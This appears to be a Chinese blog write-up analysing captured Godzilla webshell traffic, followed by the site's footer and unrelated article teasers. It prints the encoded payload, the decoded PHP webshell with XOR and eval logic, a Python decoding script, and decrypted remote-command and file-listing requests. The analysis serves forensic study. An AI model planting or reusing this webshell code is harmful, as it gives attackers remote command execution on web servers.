ZSHRZWVjVKE1NJFAZaKVYQRRkWVlYxXBFCSRQXSwRLDVBYVx4QEVIQRRJfEFxNHQZJUFFmTRFWTxIGRRBKBFcXdVceFlEZVgBlFFxLA2wzQxEVEk9RDUAGTWg6QhhBGUMRFRJAURVGEVhFEgxXQVwbRVBcQV0OXUENaDpCGEEZHjw%2FPzhJbDkFQwtTFlEOV0NTVEFXAlV2DVUKVAcQRV0CRVQbSTlrE0MWRUIHTBRLDRFXU0FRVwc8UwtTDVwEEUdVVEZTHVo%2BaUtoOgRND1oXWFpcEkAEQBceTEtvMkEZQxFHV0ZBE11DFApbQANsMx48P1RHWgJHClkLEAVdFRFHWlBLG09sOUMWRRAFVA5bAl0VFkJVE1IOUxFVEEtaNGkRFRISXQcTS18WQwdMSR0TUEdTX1EVVhFFPhQJXRhkShhOPzgUQRNDFkUQQkoETRZDWxIWRABBAlsARAdKEmJHWlBLbw9sOUMWRRAfXQ1KBko4OBIUQRNDFkUQEF0VTBFfFVxHWA0IbjxFEEIYHDRpTDg4VEEPUBdfCl5CXwRNIl1ZYlNGAF4GQgBCERBIQm47FRISFAZfDFQEXEIcEVgRUFhXRlETQFg7bxBCGEFLBkVAQFwURUMCRARdB0wESxAKODhPOWtVFlgGRAtXDxkKX1ZeR1AEcAxSABhLQ2wzQxEVEhZXDVIQRSZfBl1cXgZFHRBQXQ9wDFIAEksDbDNDERUSFlcOVwZ4BF0HBQZcFxkXUV1QBH0CWwASSwNsM0MRFRIWazJ2MAtDVwdMMlwQQlxdXBxICG48RRBCGEVmMHRmaRZXDlcGeARdB2VcHQBdVEFBdw5XBg1oOkIYQRkRVEFHQFpBEQxdRwtvMhw0aVdAXFFACFwNFgdREV1XDSdUVl1WUUkXEEIXWQxfSEJuOxUSEhQTVhdDF15CWgBKBgcBbVZRAlwHU00UEUwTUA1WHAk%2FPhw%2BaVAQXgFMCFYNEVZdXEIEQRdwDFwHaARLDlhGQVtbD0BLEgNZDl0gTRdDHEk%2FPkETQxZBXQ1cXAlYPD8SEhRBWgUWTUMWShFWEBkRVFtYBHIXQhccRWpGEEIMCFRTWBJWSk1oOkIYQRlDERUSFlkOV14SCF8GE1ENVwUOPzgUQRNDS2g6QhhBGQpXFRpBQBNDDEVNFARRDVwiRUFAHhM2FEoXWA0EWQ1KBhhOPzgUQRNDFkUQQhwMVgcMEV9dUEoDUQRXC28yQRlDEUg%2FOBRBE0NfAxBKSxVLE15GGhZSCF8GdxFEEBRGYUQYFA8PUgBfEFNMS28yQRlDERUSEhRFXgxSWBQPVwUSUwAEAwk5axNDFkVNbzJBGUMRR1dGQRNdQxIIXwYDbDMePD9UR1oCRwpZCxAFZwJVDEJQGhtPbDlDFkUQIksEShBYWlxtRxVSEUJNGVk1axlDERUWbWckYF4QAlUWawRKEFhaXBodWj5pFkUQQhw%2BaiZiCFxHWA0IbjxFEEIYCF9DGXVBV0cSWgxYOlQHSxVLDEgdGxtPbDlDFkUQQhhBGRFUQUdAWkERDF1HC28yQRlDEUhXXkcESG48RRBCGEEZQxFHV0ZBE11DFANRC1RAG1g8PxISFEFObjwYPWg1a18WX1ZGW1sPEwFfAnYLVAR9DEZbXl1VBRtKTWg6QhhBGUdcWlZXCQZWFx5HXQ1cBBtKCjg4EhRBE0dQDFwHdgBUBgxSV0YcQ1UKWgB%2BA1UEG0oKODgSFEETR0QAUQZ6GE0Gf0BfD1MER0sUF1UDXCNAF1R7R18WSAhuPEUQQhhFSQxCXEZbWw8OBFMRGEBIDkoKRVxdXBZICG48RRBCGAhfQxkRX11QBA5eFANZDl0yUBlUFxtJOWsTQxZFEEIYQUsGRUBAXBQhVQpaAEMLQgQRR1dcXld6AF4GH0sSQANsM0MRFRJPUQ1ABl8DEEocDFYHVAgPEEYEUgcUTEtvMkEZQxEVEhIUCFVDHgNFDFsVUAxfaldKXRJHEHMdGEBeDkkGXxcbFBIHRg1VEVkNVj5cG1hGRkFxGRtBUBdVA1xDEEUXU0dcVxVaDFg6VRpREk0QdE0aEFISVgZdRxlLQ2wzQxEVEhIUQRNDFkUQRlAAVwddUA9UWxFWDR5BVgtUBHcCXFAeEEYDEUoNaDpCGEEZQxEVEhIUQRMKUEUYRlAAVwddUBMPCQdSD0UAGRk1axlDERUSEhRBE0MWRRBCGEF5BUJQV1kcRVsCWAFcBxRFSQxCXEZbWw8aWDtvEEIYQRlDERUSEhRBE0MWRRQGWRVYXldHV1NQSRcLVwtUDl1NHRFUVFZwTRVWLUMIGVk1axlDERUSEhRBE0MWRRBCGEF5BVJZXUFRSRcLVwtUDl1IAm47FRISFEETQxZFEEIYQRlDEVxUEhxFVwJCBBFfBQdYD0JQG0k5axNDFkUQQhhBGUMRFRISFEETQxZFQgdMFEsNERFWU0AACG48RRBCGEEZQxEVEhIUQRNDFhhVDksEQm47FRISFEETQxZFEEIYQRlDERUSEhQTVhdDF15CGgJYDV9aRhJGBFIHFgNZDl1DAm47FRISFEETQxZFEEIYQRlDEUg%2FOBRBE0MWRRBCGEEZQ0xQXkFRGj5pFkUQQhhBGUMRFRISFEETQ0QARBdKDxlBUlRcXFsVEwxGAF5CXghVBhMOPzgUQRNDFkUQQhhBGUNMODgSFEETQxZFEB9dDUoGEVxUEhwHRg1VEVkNVj5cG1hGRkFxGRtBUAxcB2cGXBduVl1cQARdF0VHGUtDbDNDERUSEhRBE0MWRRAQXRVMEV8VVFtYBGwEUxFvAVcPTQZfQUEaEAdaD1MrUQ9dTV8CXUZXHloUXw8aQUANSwhNCl5bHhZGBFIHdBxEB3YUVEoKODgSFEETQxZFEB9dDUoGSjg4EhRBE0MWRRBCGEEZEVRBR0BaQRENWUVWF1YCTQpeWxAJOWsTQxZFEEIYQURuOzg4EhRBEx5TCUMHQ2wzQxEVEhIUQRMRUxFFEFZBGw1eFV9dUAQRWDtvEEIYQURuO0g%2FODlrVRZYBkQLVw8ZAVhSdFtYBGYTWgpRBhBIQm47FRISFEVVCloAfgNVBAQEVEEaEFIIXwZ4BF0HGkgCbjsVEhIURVUKWgBzDVYVXA1FRg9VURUbQVAMXAd7DlcXVFtGQRZICG48RRBCGEVJDEJcRltbDw4EUxEYQEgOSgpFXF1cFkgIbjxFEEIYCF9LV0BcUUAIXA1pAEgLSxVKJkkdEFRbEVYNFEwWRF4UVwBFXF1cawRLCkURQydASRsFRkdbRlFDGkUQA0UMWxVQDF9qV0pdEkcQcx0YQF4SXAZaFxsbT2w5QxZFEEIYQRlHWVRcVlgEDgVZFVUMEEVfCl1QfFNZBB9BVwcSSwNsM0MRFRISFEETClBFGEZQAFcHXVATDwkHUg9FABkZNWsZQxEVEhIUQRNDFkVWEV0EUksVXVNcUA1WTxIVXxFRFVAMXxwJPz5BE0MWRRBCGEEZQxERXldaXFUURAxEBxBFUQJfUV5XGEVVCloAcw1WFVwNRUYbCTlrE0MWRRBCGEEZQxEVclRXDVwQU00UClkPXQ9UHAk%2FPkETQxZFEEIYQRlDEVxUEhxFXwZYRA1fXgBVEFQcST8%2BQRNDFkUQQhhBGUMRFRISFBNWF0MXXkIaDlJBCjg4EhRBE0MWRRBCGEEZHlRZQVdPbDlDFkUQQhhBGUMRFRISFEETEVMRRRBWQRsAUFtcXUBBRBFfEVVCXghVBhMOPzgUQRNDFkUQQhhBGUNMODgSFEETQxZFEB9dDUoGSjg4EhRBE0MWRRBCGEEZEVRBR0BaQREAVwteDUxBVhNUWxJUXQ1WQQ1oOkIYQRlDERUSTzlrE0MWRU0HVBJcQ1hTEhpSFF0AQgxfDGcEQQpCQUF3TEkRBV8JVT1IFE08UlpcRlEPRxAUTBkZNWsZQxEVEhIUQVoFFk1WC1QEZhNEQW1RWw9HBlgRQ0ocB1APVHtTX1FNFwVfCVUhVw9NBl9BQR5yKH8maSRgMn0vfUoQCA9UVQ1ABh8ePWgYQRlDERUSEhRBE0NEAEQXSg8ZQV5eEAk5axNDFkUQQhhBRAZdRldJOWsTQxZFEEIYQRlDERVAV0AUQQ0WR0cQURVcERFTU1tYQwhuPEUQQhhBGUMRSD84FEETQ0sAXBFdGjRpERUSEhRBE0NEAEQXSg8ZQV9aElRBD1AXXwpeQANsM0MRFRJPOWtObjwDRQxbFVAMXxVRU1oiUg9aIkoLSCRXAF5RVxodGj5pFkUQQlEHGUtXQFxRQAhcDWkASAtLFUomSR0QVU4EXQBZAVVAEUhCbjsVEhIUQRNDFhdVFk0TV0MTBBAJOWsTQxZFTQdUElwYPD8SEhRBE0MWRUIHTBRLDREXAhAPbDlDFkUQHzVrRG47U0dcVxVaDFhFUwNWIlgPXXJIW0QlVgBZAVVKERo0aREVEhJdBxNLUBBeAUwIVg1uUEpbRxVAJk5NEgVCBVwAXlFXEB1ISG48RRBCGEEZQxFHV0ZBE11DFFQSWTVrGUMRFU9XWBJWGDtvEEIYQRlDERVAV0AUQQ0WRwBAA2wzQxEVEk85a05uPANFDFsVUAxfFVBLQARAN1ksXhZdBlwRGRFQS0AEQE8WQUANSwhNCl5bGxJPbDlDFkUQRk4AVUMMFQIJOWsTQxZFFBRZDRleERFQS0AEQDgSFV8RURVQDF8VGRIHPBNFFlVIBF5aNGkRFRISEBdSDxZZDF8YWQJuOxUSEhRFRQJaRUxfGEVbGkVQQWkQEVwQXxFZDVZBEkMDaBIUFFFLBVBePWgYQRlDFUNTXhRdD14WXQtvMkEZQxERRFNYQU9eFkFSG0wESjgVRV1BXRVaDFhFG0IJPBlFEQVKVFJaPmkWRRBCHBdYDxEJDg8UWQhuPEUQQhhFTwJdFU4PFEVRGkIAQzkcEVYQWEFbXVo8E0UWVUgEXlo0aREVEhJGBEcWRAsQRk4AVVg8P08%2FPgdGDVURWQ1WQVAQdk9bQmcVQQZXCBhGWghXSko4OBIUQRMKUEUYEUwTVQZfHRZQXQ8aXQtXGRk1axlDERUSEhRBFwFfCw0RTQNKF0MdFlBdDx9TGlcZWTVrGUMRFRISFEEXEEIXeQxeDhleEXVHXEQAUAgeR3NQWwlYEUIXHhIQA1oNH149aBhBGUMRFRISEBVKE1MmXwZdQQRDWFtGRFUNG0dFEUIrVgdWOBZWWlNGEgJEa0sUEUwTcA1XWmkVVwlSEUVXFz8RWjRpERUSEhRBE0NFElkWWwkZSxVBS0JRIlwHU0wQGTVrGUMRFRISFEETQxZFUwNLBBlQAAQBCw5sOUMWRRBCGEEZQxEVEhIUQRMRUxFFEFZBTRFEUAk%2FPkETQxZFEEIYQRlDEVFXVFUUXxcMaDpCGEEZQxEVEhIUQRNDFkUQEF0VTBFfFVRTWBJWWDtvEEIYQRlDERVPPz5BE0MWGFUOSwRCbjsVEhIUQRNDFhdVFk0TV0NXVF5BUVo%2BaRZFEEJFbDMePD9UR1oCRwpZCxAFXRV7GkVQQRoQEkcRXwtXSxgaNGkRFRISEANKF1MWEF8YAEsRUEwaGw9sOUMWRRAEVxMRR1gVDxIEWhNHX0UMQksVSw9UWxoWRxVBClgCGVkYRVBIGhxJPz5BE0MWRRBCGABLEVBMbUJBEltLEgdJFl0SFQxDURoWRxVBClgCa0ZRPBBKCjg4EhRBEx47bxBCGEFLBkVAQFwURVEaQgBDWTVrRG47

将pass先URL解码,然后反转字符串(https://tool.box3.cn/reverse.html),然后BASE64解码。

@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){for($i=0;$i<strlen($D);$i++) {$c = $K[$i+1&15];$D[$i] = $D[$i]^$c;}return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){$data=encode(base64_decode($_POST[$pass]),$key);if (isset($_SESSION[$payloadName])){$payload=encode($_SESSION[$payloadName],$key);if (strpos($payload,"getBasicsInfo")===false){$payload=encode($payload,$key);}eval($payload);echo substr(md5($pass.$key),0,16);echo base64_encode(encode(@run($data),$key));echo substr(md5($pass.$key),16);}else{if (strpos($data,"getBasicsInfo")!==false){$_SESSION[$payloadName]=encode($data,$key);}}
}

使用脚本解密key

$parameters=array();
$_SES=array();
function run($pms){global $ERRMSG;reDefSystemFunc();$_SES=&getSession();@session_start();$sessioId=md5(session_id());if (isset($_SESSION[$sessioId])){$_SES=unserialize((S1MiwYYr(base64Decode($_SESSION[$sessioId],$sessioId),$sessioId)));}@session_write_close();if (canCallGzipDecode()==1&&@isGzipStream($pms)){$pms=gzdecode($pms);}formatParameter($pms);if (isset($_SES["bypass_open_basedir"])&&$_SES["bypass_open_basedir"]==true){@bypass_open_basedir();}if (function_existsEx("set_error_handler")){@set_error_handler("payloadErrorHandler");}if (function_existsEx("set_exception_handler")){@set_exception_handler("payloadExceptionHandler");}$result=@evalFunc();
......
......
......
function isGzipStream($bin){if (strlen($bin)>=2){$bin=substr($bin,0,2);$strInfo = @unpack("C2chars", $bin);$typeCode = intval($strInfo[\'chars1\'].$strInfo[\'chars2\']);switch ($typeCode) {case 31139:return true;default:return false;}}else{return false;}}function getBytes($string) {$bytes = array();for($i = 0; $i < strlen($string); $i++){array_push($bytes,ord($string[$i]));}return $bytes;}

第二段请求头只有key值不一样

POST /1.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Cookie: PHPSESSID=gaomocvojrkkut9b5dgocknidl;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Host: 8.140.54.167:50082
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-Length: 1267pass=eval%28base64_decode%28strrev%28urldecode%28%27K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD%27%29%29%29%29%3B
&key=DlMRWA1cL1gOVDc1MjRhVDxVCV8RXQ%3D%3D

编写一个简单的脚本来解码key。

import base64
import gzipdef XOR(D, K):result = []for i in range(len(D)):c = K[i + 1 & 15]if not isinstance(D[i], int):d = ord(D[i])else:d = D[i]result.append(d ^ ord(c))return b''.join([i.to_bytes(1, byteorder='big') for i in result])if __name__ == '__main__':text = "DlMRWA1cL1gOVDc2MjRhRwZFEQ=="key = "3c6e0b8a9c15224a"request = XOR(base64.b64decode(text), key)#response = gzip.decompress(XOR(base64.b64decode(text), key))print(request)#print(response)

key值解密后,执行test函数,进行测试连接。

methodName\x02\x04\x00\x00\x00test

响应体为:

HTTP/1.1 200 OK
Date: Wed, 13 Mar 2024 08:53:01 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=gaomocvojrkkut9b5dgocknidl; path=/
Content-Length: 64
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-872a9c691ccdaab98fL1tMGI4YTljMv79NDQm7r9PZzBiOA==b4c4e1f6ddd2a488

根据代码可以看到存在前后16位的混淆MD5加密值,删除后同样用上面的代码解码,得到:

ok

使用工具解密
在这里插入图片描述

进入目标后的返回包流量

HTTP/1.1 200 OK
Date: Wed, 13 Mar 2024 08:54:05 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=mdulbn2mpojjd4eq88d94iq0fa; path=/
Vary: Accept-Encoding
Content-Length: 1328
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-872a9c691ccdaab98fL1tMGI4YTljMlBnb1uLC3NLkp/qjE5CRiKnpv2KQJMYpy8jc4Lag0ynrgr2g+heunhuzZcDr35i3CYB1bhGrZKvRAZZaSnWskrTkAtPmA/8Ge6M+hYGcgzTes5SIOTyi/Jh417Ln7FF4N3HnyXXwrFLhw0L1sytlfOsJR4rxsCk36lLX5bcEetz2o6qpbg3zi3IqdKX51Cb/dLV1RzGpcH1Ey99jwWMui01vJD0biTCCWzNGwgRcB8JNwU5Im4imU9ZFoZnky18z2wvBO/sgOPalcWRVppLR4rxE9vCkcSVBgE+hal+957xujTQUdTsYYeV8yvYLh4dCa49ZsukWnMaR6QRe74TJbtzVqR/ALMyr9Ulwy20DI3dd9jF6p2Xvxz77xq7qDIV16PXZes5mrcrpX/gbtZxRbSwdYt2T7TS4lNWIhSyDH8taaXG3hcqjCoXUvSsNd124sI2Jp/J/qkoEEF3DfcJztRCmudDTwxKG9aq+M9K28nXlZoZVhj+ka0DgFHzz2Yyq37/31HpzHx0qHUGxUw0JYBXsI5lokGN0uFslBdIodCo/VbcmDwp7CDu2RAsLyhYahM+DiuIfe8txvd3R3qSMbyWEq4zkkPi+qBoNJNf/bVbuYr6nkdUZ+w3MooH1x4ueABBVeVHbdzY+NpsSY19UM+VSD7Gf6TVmDXCURmIE7owdCf/fnfGDll84DiC6mbjrc4S/VR1B45m3BGSO/FdeIS21tvaNhg1oiWb+wlKpNrqqVOCaCmvbZXuAkju1ZOdy9dY8c4nt9TeM0zBPlOA9TlvCTIGxOhX6wiOa3teh0hePikI4marmP7bBmoWGfwNee0ohtY+hHKYEj1yvGp3P0lKO+21X7PLUNDkdWqQozhG6FqDc+yZR/ssfa3VeDpa7O/qEREglm3YRLgXpjJggJejCrc0f4dTIc+BYQxqaa0772akLPiO0Lj1vY+Am0uBCK09PVTL5WeTkatAtf6307mDD4Nevkt/96O89Ob+5OnNtO6vbS+NVt4z+DhS51hmAzkPD+N0pUNfBuzCOpA8Q7c/U4BFKH7qOcmYOoMeSfkNVhFB6rWLDAbjRUJKy0ofHgeuXlb98llHQf6OfVA1uJJFq2sP/7Y2zvFT+nhqjqAto/81ygwTBjRv97JtH//54InQsFUy5THXy3lk+9FFt9fhzChiFowGu8hMBTo/eIBuxVMdelNERFIvmU9JNCsofuUzmS/nmzL4EC1LWNMY7ye55q92Wpec0b1EIUFWZyxh8nN4wzNQlynfbGorpT9jMQ==b4c4e1f6ddd2a488

在这里插入图片描述

代码执行ls

请求体中的key值

key=fL1tMGI4YTljMX78f8Wo%2FyhTN1YCWEn3M%2BF4ZGJ%2BL2Iz5Ep7TupOFkzm%2Bhr7%2BbBk0fhMZjAI02pQ%2FXgf%2B%2Fwuwij6KFWAPotxznl4RPz7rH6vfWQwGVXm5yoxNTI%3D

解密key值

cmdLine\x02#\x00\x00\x00sh -c "cd "/var/www/html/";ls" 2>&1methodName\x02\x0b\x00\x00\x00execCommand

响应体返回的流量

HTTP/1.1 200 OK
Date: Wed, 13 Mar 2024 08:54:43 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=mdulbn2mpojjd4eq88d94iq0fa; path=/
Vary: Accept-Encoding
Content-Length: 108
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-872a9c691ccdaab98fL1tMGI4YTljMgbmGfxJ06n6LnnP6KoRqvzU+BgYLB7J4kj4LhZIFCnkeBwf1WMzjMFIIkY4YTk=b4c4e1f6ddd2a488

在这里插入图片描述

哥斯拉文件管理

请求体中的key值

key=fL1tMGI4YTljMf5/H/2pfJJ9qX0HWgZZA3l6H0P/rXou/0kyaclgvJf6J7nG/6r4lgUvQhHMYKiCg2oCMjRh

解密key值

methodName\x02\x07\x00\x00\x00getFiledirName\x02\x0e\x00\x00\x00/var/www/html/

响应体返回的流量

HTTP/1.1 200 OK
Date: Wed, 13 Mar 2024 08:56:41 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=mdulbn2mpojjd4eq88d94iq0fa; path=/
Vary: Accept-Encoding
Content-Length: 208
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-872a9c691ccdaab98fL1tMGI4YTljMlD5CSajE3M2tUpbfU+JAqYwFNMsV+lZp/z0TVkhzZUrbsnFKnaW/PHJawlCT47I57/JBhMBAwca9xApfyKJca0wE+rZtEFc8zKPkyeCKKoRRFUWvG71YuWt80T3CrSavFyrePlwlDm2m7eRWAjNvEFlLc1XU6XyNmUwb4c4e1f6ddd2a488

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/749114.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Web3社交项目UXLINK零撸教程

简介&#xff1a;UXLINK是Web3行业中首个主打双向、熟人社交关系的产品&#xff0c;与其他社交基础设施类项目相比&#xff0c;类似Twitter Vs Facebook、微博 Vs 微信的社交结构区别。UXLINK的愿景&#xff1a;1、社交中心&#xff1a;成为最大的社交平台&#xff0c;专注于真…

goctl-swagger 生成json接口文件

参考&#xff1a; GitHub - dyntrait/goctl-swagger: 通过 api 文件生成 swagger 文档 GitHub - Bluettipower/goctl-swagger 一:编译 执行go install 前一般需要设置环境&#xff0c;不然资源经常会下载不下载 go env -w GOPROXYhttps://goproxy.cn,direct 执行完 go in…

IO流(主要是记住四大类InputStream,OutputStream、Reader和Writer,其他都是他们的子类)

IO流 1、文件 &#xff08;1&#xff09;文件概念 文件就是保存数据的地方。例如word文档&#xff0c;txt文件&#xff0c;execl文件等等。 &#xff08;2&#xff09;文件流 文件在程序中是以流的形式来操作的。 流&#xff1a;数据在数据源&#xff08;文件&#xff09;…

【Python】Python中的正则表达式

Python中的正则表达式 1.re模块使用入门 1.1 re.match 函数 函数定义&#xff1a; re.match 尝试从字符串的起始位置匹配一个模式&#xff0c;如果不是起始位置匹配成功的话&#xff0c;match() 就返回 none。 函数语法&#xff1a; re.match(pattern, string, flags0) …

二叉树【Java】

二叉树遍历 前序遍历 中序遍历 后续遍历 代码 前 中 后序遍历 package Trww;public class TreeTraversal {/*12 34 5 6*/public static void main(String[] args) {TreeNode tree new TreeNode(new TreeNode(new TreeNode(4),2,null),1,new TreeNode(new TreeNode(5),3,n…

maven私服搭建详细教程

1、为什么需要私服 如果在公司中多个项目模块中的的公共类用的都是一样的&#xff0c;那么不可能将这些一样的代码写两遍。所以将其中一个项目中的代码打包成私服&#xff0c;然后在另外一个模块中去进行引用。 除此之外&#xff0c;如果大公司中开发人员较多&#xff0c;大家同…

《ElementPlus 与 ElementUI 差异集合》icon 图标使用(包含:el-button,el-input和el-dropdown 差异对比)

安装 注意 ElementPlus 的 Icon 图标 要额外安装插件 element-plus/icons-vue. npm install element-plus/icons-vue注册 全局注册 定义一个文件 element-icon.js &#xff0c;注意代码第 6 行。加上了前缀 ElIcon &#xff0c;避免组件命名重复&#xff0c;且易于理解为 e…

TinTin Web3 动态精选:以太坊坎昆升级利好 Layer2,比特币减半进入倒计时

TinTin 快讯由 TinTinLand 开发者技术社区打造&#xff0c;旨在为开发者提供最新的 Web3 新闻、市场时讯和技术更新。TinTin 快讯将以周为单位&#xff0c; 汇集当周内的行业热点并以快讯的形式排列成文。掌握一手的技术资讯和市场动态&#xff0c;将有助于 TinTinLand 社区的开…

【每日力扣】235. 二叉搜索树的最近公共祖先与39. 组合总和问题描述

&#x1f525; 个人主页: 黑洞晓威 &#x1f600;你不必等到非常厉害&#xff0c;才敢开始&#xff0c;你需要开始&#xff0c;才会变的非常厉害。 235. 二叉搜索树的最近公共祖先 给定一个二叉搜索树, 找到该树中两个指定节点的最近公共祖先。 百度百科中最近公共祖先的定义…

硬件工程师入门基础知识(零)心法篇

硬件工程师入门基础知识(零)心法篇 1.为什么要当硬件工程师?2.什么是硬件工程师?3.怎么成为合格的硬件工程师?4.优秀的硬件工程师需要具备什么技能和品质?5.硬件工程师的成长路径?6.硬件工程师还有哪些职业可能?1.为什么要当硬件工程师? 很多快要毕业或者刚毕业的同学…

【2024年5月备考新增】《软考真题分章练习 - 5 项目进度管理(高项)》

1、( ) is a technique for estimating the duration or cost of an activity or a project using historical data from a similar activity or project. A.Analogous estimating B. parametric estimating C.Three-Point estimating D. Bottom estimating 2、下图中(单位:…

如何本地搭建hMailServer邮件服务

文章目录 前言1. 安装hMailServer2. 设置hMailServer3. 客户端安装添加账号4. 测试发送邮件5. 安装cpolar6. 创建公网地址7. 测试远程发送邮件8. 固定连接公网地址9. 测试固定远程地址发送邮件 前言 hMailServer 是一个邮件服务器,通过它我们可以搭建自己的邮件服务,通过cpola…

免密ssh密钥登录Linux该如何设置

我们在使用ssh客户端远程连接Linux服务器时&#xff0c;为了考虑安全方面的因素&#xff0c;通常使用密钥的方式来登录。密钥分为公钥和私钥&#xff0c;这两把密钥可以互为加解密。公钥是公开的&#xff0c;私钥是由个人自己持有&#xff0c;并且必须妥善保管和注意保密。 Li…

《圣斗士星矢》AI制作真人大电影宣传片

《圣斗士星矢》AI制作真人大电影宣传片 The ancient gods awaken, a battle of light and shadow unfolds.古神觉醒&#xff0c;光明与黑暗之战一触即发。 Heroes stand, facing the abyss of evil.英雄挺立&#xff0c;直面邪恶深渊。 The stars align, the chosen ones ris…

Linux:kubernetes(k8s)有状态的服务部署(14)

之前我都是对无状态进行的一个操作&#xff0c;我们想扩容就扩容&#xff0c;想缩容就缩容&#xff0c;根本不用去考虑他的一个网络环境&#xff0c;本地储存环境啥的一个状态 当我们做有状态的服务的操作&#xff0c;肯定要申请一个持久化的一个空间&#xff0c;以及网络&…

鸿蒙Harmony应用开发—ArkTS声明式开发(容器组件:GridItem)

网格容器中单项内容容器。 说明&#xff1a; 该组件从API Version 7开始支持。后续版本如有新增内容&#xff0c;则采用上角标单独标记该内容的起始版本。仅支持作为Grid组件的子组件使用。 子组件 可以包含单个子组件。 接口 GridItem GridItem(value?: GridItemOptions)…

【数据结构与算法】:选择排序与快速排序

&#x1f525;个人主页&#xff1a; Quitecoder &#x1f525;专栏&#xff1a;数据结构与算法 我的博客即将同步至腾讯云开发者社区&#xff0c;邀请大家一同入驻&#xff1a;腾讯云 欢迎来到排序的第二个部分&#xff1a;选择排序与快速排序&#xff01; 目录 1.选择排序1.…

鸿蒙原生应用元服务开发-WebGL网页图形库开发着色器绘制彩色三角形

着色器绘制彩色三角形 使用WebGL开发时&#xff0c;为保证界面图形显示效果&#xff0c;请使用真机运行。 此场景为使用WebGL绘制的彩色三角形图形&#xff08;GPU绘制&#xff09;。开发示例如下&#xff1a; 创建页面布局。index.hml示例如下&#xff1a; <div class&quo…

鸿蒙开发(五)-应用签名相关

鸿蒙开发(五)-应用签名相关 本篇文章主要介绍下鸿蒙应用下的应用签名的创建与配置。 根据之前的介绍&#xff0c;我们知道&#xff0c;在DevEco Studio默认创建的应用程序&#xff0c;是没有sign配置的。 默认输出的应用文件如下&#xff1a; build->default->output…

力扣面试150 两数之和 II - 输入有序数组 双指针 HashMap

Problem: 167. 两数之和 II - 输入有序数组 复杂度 时间复杂度: O ( n ) O(n) O(n) 空间复杂度: O ( 1 ) O(1) O(1) Code class Solution {public int[] twoSum(int[] numbers, int target) {int l 0;int r numbers.length-1;while(l < r){if(numbers[l] numbers[…